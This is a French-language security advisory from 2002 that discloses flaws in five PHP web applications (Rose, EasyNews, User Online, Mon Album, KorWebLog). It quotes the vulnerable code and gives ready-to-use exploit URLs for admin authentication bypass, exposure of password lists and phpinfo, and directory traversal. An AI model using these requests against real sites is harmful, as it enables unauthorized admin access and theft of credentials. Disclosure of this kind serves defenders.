5 holes, Part 7
***************
Intro :
*******
"Le noir est la couleur de la démocratie"
Baudelaire
Date :
******
06 Juin 2002
Services :
**********
- Rose
- EasyNews
- User Online
- Mon Album
- KorWebLog
Developpements :
****************
1) Rose
~~~~~~~
http://www.jinxm.co.uk
Version :
4.52 (et moins ?)
Problème :
- Accès à une partie de l'administration
Developpement :
Le fichier /newsadmin/upload.php permet de gerer les images.
Il y a 3 niveau d'administration sur ce fichier.
Le premier permet de voir les images, et de les changer de place.
Le deuxième permet en plus d'uploader des nouveaux fichiers et le troisième de supprimer
des fichiers.
Voici la partie du code qui s'occupe de la sécurité :
----------------------------------------------------------------------------------------
# check they are logged in and stuff
$loggedin = $HTTP_COOKIE_VARS["con-Logger"];
# if not logged in re-direct to index.php
if (($userinfo[userlevel] == '') OR ($loggedin != "1") OR ($userinfo[username] == '')) {
Header("Location: index.php");
}
----------------------------------------------------------------------------------------
3 conditions :
- La valeur du cookie nommé con-Logger doit être 1
- userinfo[userlevel] ne doit pas être vide
- userinfo[username] ne doit pas être vide
Pour accèder à la page comme un admin, il suffira donc d'envoyer le cookie con-Logger avec
comme valeur 1 sur la page
http://www.victime.com/newsadmin/upload.php?userinfo[username]=hop&userinfo[userlevel]=1
Mais cela ne nous donne ni le droit d'uploader ni le droit de supprimer un fichier.
On peut voir ces conditions dans upload.php :
if ($userinfo[userlevel] > 69) {
pour uploader ou
if ($userinfo[userlevel] > 49) {
pour supprimer.
L'url sur laquelle on va envoyer le cookie sera donc :
http://www.victime.com/newsadmin/upload.php?userinfo[username]=hop&userinfo[userlevel]=100
2 EasyNews
~~~~~~~~~~
http://www.webrc.ca
Versions :
4.3 (et moins ?)
Problème :
- Accès à la partie admin
Developpement :
Dans admin.php, on peut voir :
----------------------------------------------------------
[...]
include "config2.php";
echo "
Easynews Admin";
if(@$admin[$en_login_id] == "true")
{
[...]
----------------------------------------------------------
Le code de base de config2.php :
--------------------------------------------
$user[0] = "admin";
$pass[0] = "admin";
$admin[0] = "true";
$email_a[0] = "email@yourdomain.com";
$user[1] = "jake";
$pass[1] = "doe";
$admin[1] = "false";
$email_a[1] = "youremail@yourdomain.com";
?>
--------------------------------------------
On peut voir que la valeur que $en_login_id doit avoir pour que $admin[$en_login_id] valle
true est 0 .
Donc http://www.site.com/admin.php?en_log_id=0 nous donnera accès à la partie admin.
Pour les 2 actions possibles, il faudra rajouter en_log_id=0 .
admin.php?en_log_id=0&action=config permet de changer le design, le titre, d'inserer
du html dans la page, ...
admin.php?en_log_id=0&action=users montre tout les mots de passe membres et admins.
3) User Online
~~~~~~~~~~~~~~
http://www.elpar.net
Version :
2.0 (et moins ?)
Problème :
- Récuperation d'infos
Developpement :
User Online compte le nombre du visiteurs sur un site ou une page.
Les ips sont stockés et lisibles par tous dans ip.txt .
4) Mon Album
~~~~~~~~~~~~
http://www.3dsrc.com
Version :
0.6.2d (et moins?)
Problème :
- Récuperation d'infos ( phpinfo )
- Accès à la partie admin
Developpement :
On peut voir dans admin.php4, comme dans la plupart des fichiers du dossier /admin/, les
lignes :
--------------------------------
session_register("reg_login");
[...]
if (isset($reg_login)) {
[PARTIE ADMIN]
[...]
?>
--------------------------------
L'url http://www.victim.com/admin.php4?reg_login=1 nous donnera donc accès à la partie
admin.
Il y a un seul fichier qui ne contient pas cette vérification, c'est /admin/admin_phpinfo.php4 .
Voici son code complet :
-----------------
phpinfo(); ?>
-----------------
On pourra donc trouver bon nombre d'informations sur cette page.
5) KorWebLog
~~~~~~~~~~~~
http://weblog.kldp.org/
http://eunjea.sourceforge.net/
Version :
1.5.8
1.5.7
1.5.6(et moins ?)
Problème :
- Listing de tout le dossier du HD
- Path Disclosure
Developpement :
Le fichier viewimg.php permet d'afficher les smileys disponibles dans le service.
Ce qu'il fait en réalité, c'est lister le contenu du dossier où se trouve
les images et les afficher.
Les smileys se trouvant dans images.d/face, l'url d'origine est :
http://www.site.com/viewimg.php?path=images.d/face&form=Com&var=faceicon
Les seules conditions pour afficher les images sont :
- Le path doit exister
- form ne doit pas être vide
- var ne doit pas être vide
Pour afficher le contenu de 2 dossiers parents du site, il suffira donc d'entrer l'url :
http://www.victim.com/viewimg.php?path=../..&form=1&var=1
Pour afficher le path du site, il suffira d'entrer à la place d'un vrai path le nom
d'un fichier existant.
Il retournera alors une erreur disant que ce n'est pas un dossier mais un fichier,
et affichera le path.
Par exemple, l'url :
http://www.victim.com/viewimg.php?path=viewimg.php&form=1&var=1
Greetz :
********
/
Credits :
*********
frog-m@n
leseulfrog@hotmail.com